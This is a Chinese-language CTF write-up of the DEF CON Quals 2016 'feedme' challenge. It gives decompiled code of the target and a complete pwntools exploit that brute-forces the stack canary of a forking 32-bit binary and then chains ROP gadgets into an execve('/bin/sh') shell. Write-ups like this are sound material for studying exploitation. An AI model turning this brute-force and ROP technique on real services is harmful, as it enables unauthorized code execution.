defcon quals 2016 feedme writeup

37 篇文章 3 订阅

题目

基本信息

一个32位的二进制文件,静态链接
checksec:

[*] '/home/vagrant/ctf/practice/defcon-2016/pwn/feedme/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这里有一点小问题,估计是因为静态链接带来的问题,其实canary是开了的。

分析

首先使用flirt,利用别人已经整理好的sig 文件,导入到ida当中,可以分析出一些函数签名,之后进行分析后的函数大致如下:

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __bsd_signal(14, signal_handler);
  alarm(0x96u);
  _IO_setvbuf(off_80EA4C0, 0, 2, 0);
  _IO_new_fclose(off_80EA4BC);
  real_main();
  return 0;
}

real_main

void real_main()
{
  unsigned __int8 v0; // al@3
  int v1; // [sp+10h] [bp-18h]@1
  unsigned int i; // [sp+14h] [bp-14h]@1
  const struct timespec *forked_pid; // [sp+18h] [bp-10h]@2
  int v4; // [sp+1Ch] [bp-Ch]@4

  v1 = 0;
  for ( i = 0; i <= 0x31F; ++i )
  {
    forked_pid = fork();
    if ( !forked_pid )
    {
      v0 = proc_main();
      printf("YUM, got %d bytes!\n", v0);
      return;
    }
    v4 = __waitpid(forked_pid, &v1, 0);
    if ( v4 == -1 )
    {
      _IO_puts("Wait error!");
      exit(-1);
    }
    if ( v1 == -1 )
    {
      _IO_puts("Child IO error!");
      exit(-1);
    }
    _IO_puts("Child exit.");
    _IO_fflush(0);
  }
}

proc_main

int sub_8049036()
{
  unsigned __int8 v0; // ST1B_1@1
  char *global_ptr; // eax@1
  int v2; // ecx@1
  int result; // eax@1
  char v4; // [sp+1Ch] [bp-2Ch]@1
  int v5; // [sp+3Ch] [bp-Ch]@1

  v5 = *MK_FP(__GS__, 20);
  _IO_puts("FEED ME!");
  v0 = read_a_byte();
  read_to((int)&v4, v0);
  global_ptr = save_to_global((int)&v4, v0, 0x10u);
  printf("ATE %s\n", global_ptr);
  result = v0;
  if ( *MK_FP(__GS__, 20) != v5 )
    __chk_fail_0(v2, *MK_FP(__GS__, 20) ^ v5);
  return result;
}

read_to和read_byte比较显然,就不写出来了,可以很轻松的看出来。

分析

其实总体来说是道水题,最麻烦的地方感觉还是由于静态链接,需要使用flirt去识别一些库函数,然后自己还需要识别一些函数,比如fork就是自己识别的。

逻辑很简单,就是fork之后输入值,还会把输入的值拷到一个全局变量的位置,虽然不知道有什么意义。。。

然后开启了canary,如果栈溢出了,会得到stack smash detected,否则会YUM,然后退出线程。

利用的知识点也很简单,fork之后的canary是不会发生变化的,所以直接爆破canary,然后rop就可以了。

rop我的方法是再通过调用一次read_to去输入/bin/sh,然后设置好各个参数直接execve就行了。

exp.py

from pwn import *
context(os='linux', arch='i386', log_level='debug')

DEBUG = 1
GDB = 1
if DEBUG:
    p = process("./feedme")

def get_canary_test_loop(prefix_str, current_char):
    current_len = len(prefix_str) + 1
    p.recvuntil('FEED ME!')
    p.send(chr(current_len))
    p.send(prefix_str + current_char)
    p.recvuntil('ATE')
    p.recvline()
    get_str = p.recv()
    if 'smash' in get_str or '***' in get_str:
        return False
    elif 'YUM' in get_str:
        return True
    else:
        raise Exception("what the fuck do I get? {}".format(get_str))


def get_canary_single_byte(prefix_str):
    for i in range(0, 0xff):
        if get_canary_test_loop(prefix_str, chr(i)):
            return chr(i)


def get_canary(prefix):
    with_canary = prefix
    one = get_canary_single_byte(with_canary)
    log.success("we got one! {}".format(hex(ord(one))))
    with_canary += one
    two = get_canary_single_byte(with_canary)
    log.success("we got two! {}".format(hex(ord(two))))
    with_canary += two
    three = get_canary_single_byte(with_canary)
    log.success("we got three! {}".format(hex(ord(three))))
    with_canary += three
    four = get_canary_single_byte(with_canary)
    log.success("we got four! {}".format(hex(ord(four))))
    with_canary += four

    log.success("we got whole canary! {}".format(hex(u32(one + two + three + four))))

    return with_canary


def exp(prefix):
    """
0x08049c53 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret ; set ecx = 0
0x0807fc11 : and al, 0xe8 ; cdq ; ret ; set edx=0
0x08049761: int 0x80
0x080bb495 : inc eax ; pop eax ; ret
0x080481c9 : pop ebx ; ret
    """
    fake_ebp = 0xdeadbeef
    read_to_addr = 0x08048e7e
    payload = prefix
    payload += 'b' * 8
    payload += p32(fake_ebp)
    payload += p32(read_to_addr)
    payload += p32(0x08049c53)
    payload += p32(0x080e9000) # ebx, arg1 of read_to
    payload += p32(0x8) # esi, arg2 of read_to(len)
    payload += p32(0xdeadbeef) # edi
    payload += p32(0xdeadbeef) # ebp
    payload += p32(0x0807fc11) # set edx = 0
    payload += p32(0x080bb495) # set eax
    payload += p32(0x0b) # SYS_EXECVE eax
    payload += p32(0x08049761) # int 0x80

    payload = payload.ljust(0x40, '1')

    p.recvuntil('FEED ME!')
    p.send(chr(len(payload)))
    p.send(payload)


def main():
    if GDB:
        raw_input()
    prefix = 'a' * 0x20
    with_canary_prefix = get_canary(prefix)
    exp(with_canary_prefix)
    p.send('/bin/sh\x00')
    p.interactive()


if __name__ == "__main__":
    main()

有点神奇的是我发现我在调用read_to的时候的参数刚好和rop gadget里的几个pop要用到寄存器重合了,不过那几个寄存器不影响后面的执行,所以我就直接把他当参数用了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值